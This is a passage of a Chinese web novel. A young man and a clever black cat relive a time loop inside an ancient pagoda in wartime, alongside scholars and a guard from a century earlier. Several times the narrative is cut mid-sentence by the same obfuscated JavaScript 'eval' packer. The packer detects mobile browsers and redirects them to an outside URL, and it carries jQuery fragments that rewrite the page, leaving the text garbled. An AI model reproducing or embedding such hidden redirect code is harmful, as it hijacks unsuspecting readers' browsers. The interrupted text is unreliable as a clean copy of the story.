小咪:“喵呜,喵呜。” 它兴奋了起来,探出毛茸茸的脑袋,眼睛盯着另一边的小鸟,大尾巴甩来甩去。 夏炫被它弄怕了,生怕还没走出暗世界,自己就要葬身猫口,连忙抓住猫跃跃欲试的爪子,“咪姐,说好了的,不许咬小鸟!” “喵呜。” 小咪应了声,跳到地上,拿他的网鞋磨爪子。 昨天他还让猫抓小鸟,今天就不许抓了。 人,好善变! 小咪忍住扑小鸟的冲动,耳朵一抖,耳朵里长的一簇深黑聪明毛像天线一样往后指去。 它的注意力很快被别的东西吸引,回头看了会下面,往台阶下跑。 夏炫还没来得及整理思绪,一眨眼就见不到猫影。他急忙追上去,往下面跑,“咪咪,别乱跑!这里不能乱跑的,咪……” “咪”还没说完,一声“不许动”吓得他浑身一抖。 黑洞洞的枪口正对准了他。 夏炫举起双手,丝滑投降,“大侠饶命!” 拿土枪的男人浓眉大眼,表情严肃,呵斥:“你是谁,为什么在这里?” “我来……呃。”夏炫顿了顿,“我来看看塔。” 他打量着这几个人。 从台阶走上来的人一共四个,两男两女,都穿着上世纪朴素的布衣,脚踩布鞋,端土枪的男人眼神警惕,站得笔直,带着股杀气,仿佛下一秒就会按下扳机。 另外一个中年女人齐耳短发,气质有点像他薛老师。 “这个时候,”她的声音很温和,“你来看塔?” 夏炫想起那张照片——这几个人估计就是照片上的人。他们现在是什么状态,活人?死人? 他对照片里的鬼域一无所知,小心斟酌语句:“是啊,听说燕子塔恢宏精致,有血塔留云的美称。” 女人笑了笑,“你知道为什么它被叫作血塔吗?” 夏炫“啊”了声,暗暗懊悔,早知道向张老师多问点关于燕子塔的信息了。可想这些也没用,他一拿到老照片,就察觉到它快变成门了,来不及说太多。 “因为它是红色的?” 夏炫暗暗思索制服这几个人的可能性,不过,他不愿意先动手。毕竟身在暗世界,什么事都有可能发生,对面是人是鬼也分不清楚,而且,这几个人看上去像他的祖宗,哪有对祖宗先动手的道理? 他心里扯一堆歪理,眼神到处瞟。 男人皱紧眉头,“你在乱看什么?” “我在找一只猫,黑猫,刚刚跑下来了,你们见过吗?” “找猫?” 显然他们不相信,这个时候跑到塔里来,只是单纯找一只猫。 “喵呜——” 所有人都望向墙边。 其实小咪就站在他们中间,靠墙的位置,歪头看看这个人,又打量打量那个人。不过,在它没出声前,人们压根没看到它,只以为它是墙角一块阴影。 小咪已经习惯了——人眼神不好,它能理解。 “喵。”它跑到夏炫面前,朝黑洞洞的枪口叫。 人,不要打架。 “真有一只猫?” 枪口下意识往旁边移了移。 一只猫的出现,让剑拔弩张的气氛瞬间变得轻松起来。 那个年轻的女学生忍不住朝小猫打了个招呼,“咪咪?” 夏炫忍不住偷笑了下,原来百年前和百年后,大家逗猫都通用一套语言。 “赵队,放下枪吧。他应该没什么坏心眼。”短发女人朝他笑了下,“孩子,你留学回来的吗?外面兵荒马乱,你有心情来看塔?” 夏炫含糊其辞地支吾几声,顺着竿赶紧爬下来。 如今九州大地烽烟四起,兵荒马乱,像他这样来自后世的人,皮肤白皙,衣裳干净熨挺,自然就被当成不谙世事,刚留学回国的富家少爷。 夏炫接受这个人设,本色出演傻白甜,借机弄清楚对面四个人的身份。 拿枪的是烛城公立大学保卫队的队长,叫赵保国,中年女人是大学的老师,也是研究古建筑的学者,另外两个年轻男女,则是她的学生。 战火蔓延到烛城,赶在城被攻破前,他们要来到燕子塔,把里面重要文物取走,转移到安全的地方。 烛城? 夏炫听见这名字,怔了会,才记起这是红竹市的旧称。 “孩子,你和我们一起去塔上看看吧?”张寒星邀请道。 但夏炫却注意到赵保国悄悄握紧抢,他明白,这也是一个试探。他们怕他提前把文物偷出来了,所以提出一起上去,如果文物还在,说明他不是敌国派来的。如果他不答应,这位赵队长又会拔枪。 “成啊。”夏炫笑:“长长见识。” “燕子塔被叫作血塔,”张寒星边往上走,边向他解说:“是因为它主体镶嵌红色褐色的琉璃砖,像铁锈血痕,北边有一座铁塔了,所以我们城的古塔叫作血塔。你刚才说的其实也算对。” 这话让夏炫想起自己考试论述题瞎蒙,蒙对了一点,但不多。 “燕子塔里放的文物是什么?”他好奇问。 张寒星看他一眼,“等会你就看到了。” 小咪跟着人们跑上台阶,一步一跳,一口气跳了十几级台阶,趴在台阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢荃不自觉笑起来,“真的哎,老师您也来摸摸,它好亲人,毛软得不得了。以前在乡下,我家也有一只猫,可是很瘦,毛也粗糙,摸起来全是骨头,这只怎么养的,肉乎乎的?” “喵!”小咪在夏炫怀里打个滚,露出厚实柔软的原始袋。 它的肚子也很好摸哦。 两个年轻人与夏炫年纪相仿,只是很瘦,面色枯黄头发黯淡。但是他们眼神清澈,很有活力,让夏炫觉得亲近,好像对面不是百年前老照片上的前辈,是自己的同代人。 他想起老师对小咪的宠溺,笑着说:“也没喂什么吧,每天煮点牛肉虾仁蛋黄,还有猫条……猫零食,一些鱼肉糜、烘干的肉干什么的。” 几个人表情变得复杂,陷入沉默。 下一秒,土枪重新对准了夏炫的脑袋。 赵保国面无表情地看着他。 夏炫心想,糟了,触犯什么死亡禁忌了?他太松懈,竟然和暗世界不知是人是鬼的存在秀猫。 土枪枪管漆黑,很长,这种老式枪子弹是散的,如果真开枪,他的脑袋会被打成蜂巢。 但他有把握在开枪前制住赵保国。 小鸟融入地上,变成一抹影子,悄无声息地站在枪管上。 一两秒的功夫,夏炫已经想好怎么脱身。 就在他准备动手时,一只嫩粉的爪子,抵住了黑黢的枪口。 “喵。” 人,不要打架! 13.第 13 章 夏炫倒吸一口凉气,生怕赵队长一言不合按动扳机。他能感觉到,对面男人肯定杀过不少人,在这个兵荒马乱的年代,杀人不稀奇,死人也不稀奇。 小咪大声叫:“喵!” 它努力劝架,希望人能稍微给猫两分薄面。 赵保国下意识把枪移向旁边。 小咪一下子瞪圆了眼睛,用爪爪拨弄枪口,黑而长的枪杆被它拨得左右摇动。 “喵呜!” 好玩好玩,猫喜欢。 “这可是枪,”赵保国凶神恶煞地说:“再乱动一枪把你轰了。” “喵?”猫一点都不怕他,把毛茸茸的小脑袋探过来,蹭了蹭枪口,甚至张开嘴,想在枪管留下自己的牙印。 赵保国真没见过这种猫,嘟囔:“吃牛肉的猫就是不一样,别咬,这是枪,不是耗子!” 小咪张口,“喵呜。” 真的吗?咬一口。 好硬的口感,它不信,再咬一口。 赵保国连忙把枪收回去,真怕土枪走火,把这只胆大包天的小猫给崩了。 夏炫瞪大了眼睛。他还没使用影子能力,小猫几声喵喵叫,就兵不血刃地让对方放下枪。 不愧是猫啊。 “赵队长,别这样。”张寒星反应过来,朝夏炫苦笑,“不要介意,赵队长不会真的动手,只是……” 停顿片刻,她垂下脸,将发白的发往耳后挽了下,眼神有些悲伤,“现在很多人都吃不饱饭,只能活活饿死了。” 夏炫又想给自己扇一巴掌了。 我真不是人啊! 他居然忘记对面几个人活在什么年代。 “其实不是你们想的那样……” 但他也不好解释,总不能对几个人说,自己来自百年以后,那时候民殷国富,普通人都能吃饱穿暖,餐餐鱼肉。猫也不用抓老鼠,它们有自己的零食猫粮,养一只毛发柔软、身娇体柔的小猫咪当宠物,是件很流行的事情。 暗世界时空混乱,便有一条铁则。 过去不可改变。 “剧透”也算扰乱时空,如果把事实说出口,且不论对方信不信,说不定他们都会一齐被某种未知的力量抹杀。 夏炫眨了眨眼睛,“对不起,是我失言。” “没关系的,”张寒星温柔地笑,弯起眼角漫开丛丛皱纹,“你选择回来,和我们一起留在祖国,就已经胜过很多人了。” “也、也没有吧。” 走到一扇圭形窗前,张寒星偏过脸,往窗外望去。 夏炫不敢往窗外看,怕看到什么不该看的东西。但从女人眸光倒映的剪影里,他依稀可窥见一片老旧的城池。 百年后的红竹市和古烛城截然不同,高楼连天,灯火辉煌,商场LED大屏彻夜亮着各色鲜亮广告。 但百年前的人看见的,却是一片战火肆虐的残破山河。 张寒星轻轻叹口气,“很多人留在这儿,只是因为他们没有办法离开。你可以离开,却选择回来,真的很好。毕竟,在大部分人心里,我们国家已经没有了希望。” 夏炫愤愤不平,“谁说没有希望?呸!咱们未来可厉害着呢。”他不能剧透,憋得难受,只好摸着小咪,“咪咪,你说对不对?” “咪呜。” 小咪说:对! 赵保国表情缓和不少。见状,夏炫把怀里小猫递过去,“赵队,你摸摸猫吗?” “哼。”赵保国虽然不把他当成国之害虫,但对他这样“浪费粮食”的富家子弟也没好脸色,“我可不喜欢猫。” 夏炫讪讪道:“你是第二个说这话的人。” 第一个已经被猫爬到头上去了。 有一只小猫在,大家关系拉近许多。 夏炫又往上爬好多级台阶,石阶成环形往上,像条围绕古塔的带子,爬了会,他变得有点喘,“这塔有多高,台阶这么多?” “一百三十米,一共十三层。”佳雪摸到猫后,心情极好,嘴角没有下来过。 “十三层,怎么只有台阶,不能看见塔里面的样子吗?” 佳雪笑着解释:“燕子塔里面没有内室,只有一条蹬道螺旋往上,顺着蹬道就能攀爬到塔顶,我们刚才经过八扇窗户,说明还要爬五层就好了,等爬到最上面,你可以往窗外看看。” 夏炫心想,我可不敢看。 这也是暗世界一个大忌,要是不小心看到什么,说不定就被诡异的存在注意到了。心理脆弱的人,承受不住那些难以言喻的恐怖诡谲,会精神失常。 “千年前的人,和我们也站在一样的位置,做一样的事情。顺蹬道爬塔,看塔外白云悠悠。”佳雪笑容灿烂,嘴角梨涡隐隐,“也许再过一千年,还会有后人也在这爬塔观景呢。今人不见古时月,今月曾经照古人。” “未必,”谢荃泼了盆冷水,“砖塔结构疏松,缝隙长了不少灌木,这些植物根系进一步破坏砖体结构,而且,燕子塔太重,现在塔身已经出现一定程度的倾斜。想再维持一千年,挺难的。” 佳雪幽怨看他一眼,“我知道,燕子塔能不能在战火里保存下来都未知,我只是憧憬一下,做一个梦嘛。” 赵保国:“按我看,这就一座塔嘛,塌了就塌了,不能拿来吃又不能拿来打仗。我小时候,家附近也有座古塔,咱们神州几千年,又不缺这些木头石块。你们这些人才才是最缺的,结果冒这么大危险,就为了爬座塔。” 他显然对一行人的决定挺不满意。 “也不知道这些破文物有什么用。” “这些古文物很珍贵的。”佳雪反驳,“不然野狗子军怎么会来抢?” “多珍贵,能有命金贵?” “反正比我的命重要,如果二选一,我愿意牺牲自己去保护文物。” “真是搞不懂你们读书人,死犟。” 赵保国背着枪,大步走上蹬道,终止这场拌嘴。 夏炫把小咪抱回来,暗中观察这几个人,进来这么久,他并没感受到什么奇怪之处。 除了……对面四个人来自百年前外。 门在哪里?诡异的源头在哪里? 也许还得和他们走上去看看,取到那件珍贵文物,才能知晓。 “喵!” 小咪蹿到他肩膀上,朝他耳朵大叫,“喵呜——” 猫饿了猫饿了。 小咪觉得奇怪,它才吃完一盘虾仁,为什么又饿了?猫一般饿得没这么快。 小脑袋想不明白为什么,它决定向人类要保护费,“喵呜。” “哎。”这次夏炫听懂猫的想法,“咪咪饿了是吧,我身上带着几块猪肉脯。” 一摸口袋,他表情微变。 口袋是空的,别说猪肉脯了,连他习惯随身带的几块口香糖也不见,只剩拆开的锡箔纸。 “不对劲。”他停下脚步,“什么时候吃掉的?” 小咪声音逐渐变嗲,“咪呜——” 它奶声奶气扒拉青年的手,试图让他变出一点吃的。以前只要猫这样叫,赵佳怡和爷爷奶奶都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974372|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会给小咪好吃的。 猫知道,人喜欢猫夹着嗓子叫。 它睁着圆圆的黄金瞳,微微歪过头,嫩粉爪爪扒拉青年的耳垂,又用脑袋蹭他的脸颊,“喵呜~” 想吃冻干,猫粮也行。 猫不挑食。 “咪咪,你先别叫,让我想一想。”夏炫眉头越皱越深,拿出锡箔纸,纸团揉皱了,打开后,上面几点暗红。 把纸放在鼻尖嗅嗅。 是血。 夏炫表情沉凝,复杂地望着前方几人背影。 暗世界终于向他展露杀机,但他还满头雾水。 “喵呜——” 小咪也闻见空气里的血腥味,急得它按住夏炫的手背,小脑袋在他指间擦过。 人受伤了? 难怪人不给它保护费了,它居然让人受伤了! 小咪心里很愧疚。 “没关系,”夏炫忍不住摸猫,掌心,一颗毛茸茸的小脑袋拱来拱去,他笑着说:“你要饿一会了,咪咪。” “你怎么还杵着,咪咪叫得那么大声,是不是饿啦?”佳雪听见小猫的叫声,忍不住蹬蹬跑下台阶来找夏炫。 夏炫正靠墙站着,塔里光线昏暗,他的身形没入黑暗里,一张脸显得雪白。 至于他抱着的小咪,更是完美与黑暗融为一体。 “佳雪……”夏炫把“祖宗”两字吞下去,“同学,你悄悄告诉我吧,塔上放的是哪个文物?” “待会你和我们去看不就是了?”佳雪怀疑地打量他,“问这个干嘛。” 夏炫手臂环住小咪的前腿,“好奇嘛,猫给你摸摸。” 小咪身体直直挂在他手上,大尾巴晃来晃去,“喵呜——” 佳雪笑了笑,忍不住又抬手摸着小猫的脑袋,“其实待会你就能自己看了,我们要拿走的,是古塔里的巳蛇铜像,老师说这个很有研究价值。” “巳蛇铜像,这东西长什么样子?” “就是一条蛇的铜铸像,形制古朴,等一下你就能看到了。快点上来吧。” 夏炫“嗯”了声,跟上她的步伐,“咪咪饿了,你身上有吃的吗?” 佳雪腼腆地低下头,“我没有肉干,只带了一个冷馒头,小猫愿意吃吗?” 赵保国听见这话,笑了,“这只吃牛肉长大的猫可看不上馒头。” 小咪:“喵!” 它在夏炫怀里挣扎,想把他身上的血舔掉,可抱住猫的手臂紧实有力,把它紧紧箍在怀里。 “喵。”小咪急得用舌头舔他的手臂。 猫担心人。 佳雪听见小猫嗲嗲的叫声,把手伸进口袋,“饿坏了吧,小猫,先吃……咦?”她疑惑地看着手里拿出的东西,“我身上怎么有这个?” 一张小猫的照片。 “喵?” 小咪歪头,爪爪拍在照片上,高兴地叫。它认出来了,这就是小咪! 夏炫认出这张照片,是进入暗世界前,他在薛教授家给小咪随手拍的。照片被他放进兜里,此刻却出现在佳雪的口袋。 他想到一种可能,表情微微变化,来不及开口,身后响起一声撕破空气的爆鸣。 “是野狗子军,快跑!” 赵保国端起土枪,砰砰射出几枪。 小咪的听力比人更敏感,耳朵往后飞,几乎贴在头皮,眼睛瞪得圆圆的,在枪林弹雨里,下意识扒拉住人的手臂。 “喵呜!”它委屈抗议。 好吵好吵,猫的耳朵要聋掉了。 14.第 14 章 枪林弹雨,子弹飞梭。 几个人顺着螺旋蹬道往上跑,赵保国抄后,偶尔朝后面打一枪。 夏炫活这么久,第一次经历枪战。幸好蹬道是螺旋形的,围绕古塔往上,敌人并不容易打中他们。 但从身后密集枪声里可以判断,敌人人数远超他们。 “至少十个人以上,都带着枪。”赵保国粗厚的眉毛拧起,很快判断形势,“你们得赶紧逃。” 夏炫紧紧抱住小猫,猫也环住他的手。 这怎么逃? 他没有问出口,但知道每个人的心里都在问这个问题。 古塔只有一条蹬道往上,后面被堵死,他们只能不断往上跑。 燕子塔每一层有八扇窗户,其中七扇为假窗,只有蹬道一面的是真窗,能打开。然而,夏炫早就注意过,窗口开得很小,他这样的成年人是没法从窗户跳出去的。 他们这一行人,能跳出窗的,也只有小猫了。 身在这么高的位置,小猫要是掉下去,就会摔得粉身碎骨。 夏炫下意识把猫抱紧。 小咪在他怀里挣扎,“喵呜!” 虽然猫被吵得脑袋嗡嗡响,它还是想跳下来,去看看前面到底怎么回事。 “咪咪别怕。” “喵!” 猫不怕。 夏炫被枪撵着往前跑,台阶一级级铺开,转过道弯又是道弯。 不对。不对。 跑了这么久,怎么还是没有跑到塔顶? 突然加大的运动量让他好像回到学校体测,张嘴大口呼吸,喉咙里漫开血腥味。 他停下脚步,把猫放在肩膀。 小咪顺势往上一蹿,跳到人的脑袋上,尾巴盘住他的脖子,像一条毛领搭在人身上。 猫也要看看热闹。 赵保国急得推了把夏炫,“愣着干什么呢少爷,想被枪子打成马蜂窝?” “赵队,我们把野狗子军解决掉吧。”青年摸向腰间,朝赵保国露出个笑容。 “喵!”小咪大声附和。 干掉入侵者,保护领地,这是猫的原则。 “就你?” 昏暗光线里,赵保国看见对面青年笑起来,露出洁白牙齿,眼神清澈天真。 他显得与这个时代格格不入,但目光同样赤忱,“哥,还有你啊!” “喵!” 还有猫。 夏炫拿出把巴掌大的枪,这是愚公小队的配枪,子弹特制,但他这样坐班的“文职人员”,只在训练时在靶场用过它。 他举起枪,对准跑上来的敌人。 “砰!” ———— 敌人是一个班,一共十三个人,四名机枪射手,八个步枪兵,加上一名指挥官。 多亏螺旋蹬道,加上石阶狭窄,古塔昏暗,夏炫他们守住个一夫当关万夫莫开的好位置,拦住了敌人。 小咪蹲在青年的头上,占领高地,观察着敌情,黄金瞳在黑暗里发出冷光。 急速旋转破开空气的子弹在猫的眼里变得很慢,它“喵”了声提醒人类,发现按照走向子弹会打到墙壁后,才放下一颗吊在嗓子眼的猫猫心。 小咪歪头,注意到另外一样东西。 在古塔陈旧的青砖上,一滩污渍一样的人形影子快速移动。它在墙壁上穿梭,一级一级极快攀上台阶。 影子前没有人,它脱离了人体,凭空在墙壁行走。 小咪趴着,脑袋往前伸,尾巴好奇地弯成勾,像个问号。 猫觉得很怪。 仔细看,人形影子的比例和人也不一样,它的四肢更加细长,像室友玩游戏里的火柴人。 “火柴人”手里拿着两把刀,一长一短。 小咪喉咙里发出低沉的“呜”声,向人类发出示警。 小心小心! 火柴人一只手高高扬起,朝墙壁里某个方向砍去。 “喵——”小咪从夏炫脑袋起跳,扑向赵保国的脸。 赵保国下意识往后退一步,抬手把小猫挡住,“猫被吓着了?” 下一秒,他“唔”了声,肩膀传来剧痛,滚热的鲜血汩汩涌出,瞬间染湿制服。 “什么东西?” “赵哥。”夏炫朝蹬道打出几枪,打中一个敌人,暂时将人击退,他扶住赵保国,从口袋拿出一板止痛药,“吃一粒这个!” 他稍稍皱下眉。 一板药十二颗,进入暗世界前,药还没启封。 但现在,药上出现四个凹坑——被用掉了四颗。 “刚刚是什么东西?”赵保国忍住剧烈的疼痛,靠墙站着,身体依旧笔挺,只是额头冒出一颗颗冷汗,汗珠打湿他浓黑的眉毛,“明明没有人,什么攻击了我?” 他偏头看自己的肩膀,从伤口看,割伤他的应该是把刀,和战场近身肉战时身上带的大刀不同,这把刀窄长,割出的伤口细而深,初时是一条血线,之后血再喷涌而出。 这是把用来暗杀的刀。 赵保国想起最近听到的一个传说,“是野狗子军专门培养出来杀人的夜忍!” 夏炫表情严肃,“是影子。” 他的心沉了下来,敌军中有一名影子能力者。 “影子?啥影子,”赵保国听不懂,心有余悸地摸摸脖子,“听说这支夜忍跟鬼一样,幸好刚才猫扑了我一下,不然现在割断的是我的脖子了。吃过牛肉的猫就是不一样!” 夏炫张了张嘴,往头上一摸。 他猫呢? “咪咪!” 他瞪大眼睛,在蹬道找寻小猫的身影,就像在一张黑色的纸上,找一个黑色的字。 根本找不到。 “老师怎么养一只这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小咪跳下来,尾巴翘起,想咬住男人的衣角,把他带回来,“喵!” 下面危险,人不要乱跑。 赵保国并没有看见小猫,他重新举起枪,管道砰出火花,刺破黑暗。 几簇火花后。 “砰——” 一声巨响震破古塔千年的沉寂。 灿烂火光爆开,整座塔颤了一下。 小咪小小的身体被爆炸轰出的气流掀翻,摔在地上,剧痛让它四肢失去力量,只能将自己盘起来,“喵呜”一声,努力发出呼噜声让自己镇定下来。 “咕噜咕噜。” 不痛不痛。 15.第 15 章 “我怎么这么倒霉啊?” 小咪抬头,听见熟悉的声音,“喵?” 它身上的疼痛消失了,跑到青年脚边,仰头看着他。 猫不太明白发生什么。好像又回到最开始的时候,它回头往后看。 “喵?” 敌人消失不见了,后面是条长长甬道,一级级石头垒成的台阶螺旋蜿蜒。 又回到最开始了。 猫瞪圆了眼睛,想不通为什么,开始把爪爪放在青年的鞋背上。 网鞋上一个个小洞对猫有莫大的吸引力,像是天然的猫咪诱捕器。每次小咪情不自禁就跑过来,反应过来时,爪爪就按在鞋上了。 “什么东西!”夏炫吓了一跳,猛地把脚抽回。 “喵!” 这一脚差点踢到猫,幸好小咪身手敏捷,灵活闪开。它仰起头,大声朝青年喊:“喵!” “咦,咪咪?” 夏炫蹲下来,手轻轻挠着小咪的下巴,“你怎么也跟我进来啦?” “喵!” 这句话人对猫说过了。 “糟了,我得把你带出去,不然老师该多着急啊。” “喵!” 这句话人也说过啦。 人说一句,猫回一句,夏炫弯起嘴角,头一次觉得,在暗世界行走时,身边能有只小猫,是多幸福的一件事。 “喵——” 小猫突然抬起头,毛茸茸的脑袋蹭过他的下巴。 夏炫有种被小猫临幸受宠若惊的感觉。下一秒,长着倒刺的小舌头舔过他的脸,脸颊像被张柔软湿润的砂纸刮过。 “哎呀,你这只小猫也太自来熟了吧。”他笑着埋怨,抬手擦脸,摸到面上一片冰凉。 小猫能有这么多口水? 不对。这好像是…… 小咪轻轻喵了声,又伸出舌头,卷走人类的一颗泪珠。 人不要哭,猫陪着你。 夏炫:“我被吓哭了?不是,我没这么脆弱吧?” 小咪又拖长声音扒拉他,“喵呜——” “哟,你还会扒拉口袋呢,饿了是吧,知道我口袋有零食?” 小脑袋钻进他口袋里,咬出一个东西,“喵。” 小咪把东西放他手上。 “这是……药片?药用掉了五片。咪咪,你是不是想告诉我什么?” 小咪:“喵!” “我怎么想不起自己什么时候用掉止痛药,难道,我失忆了五次,每次都会用掉一片药?” 小咪:“喵!” 它叫了两声,耳朵里的聪明毛往后竖,又听见塔下传来的脚步声。 小咪这次往上面跑,跑了十几级,回头朝人叫:“喵!” 人快跟上来。 一只黑猫往台阶一蹲,与阴影浑然天成。夏炫差点就找不到小猫,幸好它每跑一段距离,就回头喵叫一声。 小猫在给他引路。他从没见过这样聪明的猫。 小咪把他带到窗户前,坐在窗台,“喵!” 人快来。 夏炫看见这幕,脸色大变,瞬间冲过去把小猫抱了起来,“小心点,别摔下去。” 小咪甩尾巴,尾巴勾住他的手腕,“喵。” 它努力想让人明白猫的意思。 之前四次循环,小咪也失去了记忆,但第五次它还记得——它回想前四次和第五次的不同,终于想出端倪。 在被爆炸气流炸飞后,猫正好落在窗台上,而此刻,一束血红的月光透过窗洞,照在它的身上。 如果人被月光照到,应该也不会忘记了。 但夏炫不能从一片喵喵喵声里听懂它的意思,反而抱着它离窗户远一点,气得猫一口咬住他的手。 “喵!” 人,能不能聪明一点? “你让我从窗户钻出去,还是像你一样站在上面?”夏炫在窗户旁找了一圈,甚至壮起胆子往外瞟了眼,实在没明白小猫的意思,苦笑,“我和你不一样,钻不出这么小的洞。” 小咪急得都想说人话了,“喵呜,喵呜。” “而且,”夏炫心有余悸地看眼窗,“窗口容易被血月亮照到,幸好现在月光被云挡住了,不然你就死定了。” 小猫在他怀里扭来扭去,柔软得像没有骨头。 夏炫抱着猫往上走几步,一声怒喝让他一激灵,抬头看,漆黑枪口正对准他。 “你是谁,为什么在这里?” “呃……我来看看塔。” 对出现的四个人他并不惊讶,这应该就是照片上的几个人。怀里的小猫却挣扎得越发强烈,像滩柔软的液体,从他怀里挣脱,跳到地上。 “咪咪,你别怕。” 小咪往上跳几个台阶,跑向人类。佳雪拿着把铜手电筒,照得猫两眼发光。 它的尾巴越翘越高,扑到赵保国的鞋子上,低头嗅嗅,开心地“喵”一声。 是活人的气味。 它低下头,把几个人的鞋子全蹭了一遍。猫要在人身上留下自己的气味。 “好亲人的小猫呀。”佳雪惊喜地瞪大眼睛,“赵队,它好像特别喜欢你,在求你摸摸呢,你摸摸它呗。” “这么胖的猫。”赵保国皱眉,捏了把小咪的后腿。 “喵!”小咪朝他叫。猫不是胖,是健康,医院揉猫肚子的医生说,猫很健康。 赵保国嘴里说着“猫有什么好摸的”,大手却在猫身上摸了好几下,“这只猫油光水滑的。” 他的手关节粗大,布满粗糙的厚茧,力气比其他摸小咪的人要大很多,摸一下就让小咪头皮后扯,翻起白眼。 好大的力气!猫的脑壳都要被扯飞了。 小咪忍不住眯起眼睛,喉咙里发出响亮呼噜声。猫喜欢这个劲道! “赵队,小猫好喜欢你!” 赵保国:“我可不喜欢猫。”下一秒,小猫的头又抵在他的掌心求摸,他的嘴角忍不住往上扬一下,语气听上去颇为苦恼,“也不知道为啥,它这么亲近我。” “赵队,你这是在炫耀吧?” 小咪听见佳雪这样说,就跑到她的鞋背趴下,“喵呜。” 人不要急,猫也让你摸。 小咪趴在佳雪的怀里,拿头蹭蹭她的脸,“呼噜呼噜。” 它心里在想一件严肃的事情——为什么这四个人会在他们的前面? 小咪是只喜欢思考的猫,在它还没有变成“胡桃街老大”时,它就是用脑子打赢隔壁那只膘肥体壮的大肥猫的。 小脑袋飞快转动。 上一次,它往下走,碰见这四个人,这一次,猫往上跑,为什么反而出现在四个人的下面? 猫觉得好怪! 夏炫抱着猫,又是从下面走上来的,没有偷到文物的嫌疑,这次,他很快就拉近和四个人的距离。 “这只猫怎么养的,肉乎乎的?” 夏炫哈哈笑两声,“就喂点……唔……” 嘴巴里多了只毛茸茸的小爪子。 小咪:“喵!” 它把爪爪拍在青年嘴上,不许他说出让人生气的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14984445|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏炫这次听懂了猫话,意识到自己脱口而出的话有多不妥,笑了下,“它会抓耗子,很厉害。” “喵!”小咪大声叫。它抓耗子就是很厉害。 赵保国:“不错不错,是只好猫。” “喵!” 关系亲近后,夏炫能直接开口问那个问题:“要取的文物是什么?” 他想,自己能循环几次,或许和那件文物脱不了关系。 “是巳蛇铜铸像,”张寒星笑着说。一位留学回来的富家少爷,竟也会对千年前的古文物感兴趣,这让她很欣慰,“传说青帝从天宫带回十二尊生肖铸像,后来铸像散落四方,我们也是做了一些研究,才发现燕子塔里的是巳蛇铜铸像。这件文物很有研究价值,幸好它还没被人偷走……” “什么价值不价值?”赵保国哼了声,不满地说:“值得你们在兵荒马乱的时候跑过来,现在烛城不安全,你们该和大部队一起走!破文物哪有命重要?” “比我的命重要。”谢荃反驳,“它有几千年历史了,我才活十几年。” “你这是什么话?”赵保国嗤笑,“路边的石头还有几万年历史了,你也用命去护着?读书读坏了脑子吧。” “喵——” 小咪插嘴,它算了算,自己有两年的历史了! “赵队。”张寒星停下来,看着窗外。 在夏炫这个后世人眼里,窗外是诡谲的暗世界,但在他们四个人眼里,外面是一碧如洗的天空,和满目疮痍的大地。 “这是我们祖先留下来的东西,是古代辉煌历史的一部分,前人将它送过来,我们也应该尽力保护好它,留给后世的孩子们。” 赵保国摸了把猫猫头,叹了口气,掌中毛绒绒呼噜响亮,让他不自觉缓和态度,“又不能靠它吃饱饭,张老师,您看这炮火连天的,活下去都成问题,过去再辉煌有什么用,大家不会多看它一眼的。” “也许。”张寒星停顿一下,声音很低,带着连她自己都怀疑,但又很憧憬的情绪,“孩子们能等到一个不愁吃穿的盛世呢?” “会吗?”硬汉也有一瞬的怔忪,他又搓了把猫头,听见呼噜声,眼神变得柔软。 “肯定会的。”夏炫连忙说,“真的会,但你们能先告诉我,巳蛇铸像长什么样吗?” “我画给你吧。”佳雪拿出一支钢笔,摸到口袋里小猫的照片,轻咦了一声,“这是……” “喵!” 小咪说:是小猫。 这是第二个循环里,夏炫送给她的。 “佳雪同学,”夏炫心中隐生起不安,好像时间快来不及了,“就用相纸背面画吧。” 佳雪本来想说爬上塔就能看见了,但见他这么好奇,就旋转笔帽,在相纸上画了几笔,“哎,”她不好意思地说:“笔没墨了。” 这时,枪声响起。 “是野狗子,快跑!” …… 小咪这次做好了准备。 影子出现时,它抬起爪爪,邦邦拍响人的脑门。 “喵——” 人,快看那边,影子出现了。 夏炫被猫揍得脑袋转了下,恰好注意到藏在墙上的影子,此刻,影子对赵保国举起了刀。 “赵哥小心。”他放出信使,白色小鸟离弦之箭,啄向影子的眼睛。 对面也有一个影子能力者,擅长埋伏刺杀。 夏炫的心沉了下来,拉着赵保国往上跑,“我们得避一避,我的影子打不过它。” “影子?啥叫影子。” 16.第 16 章 “影子,是你灵魂的一部分,也是另一个你自己。” 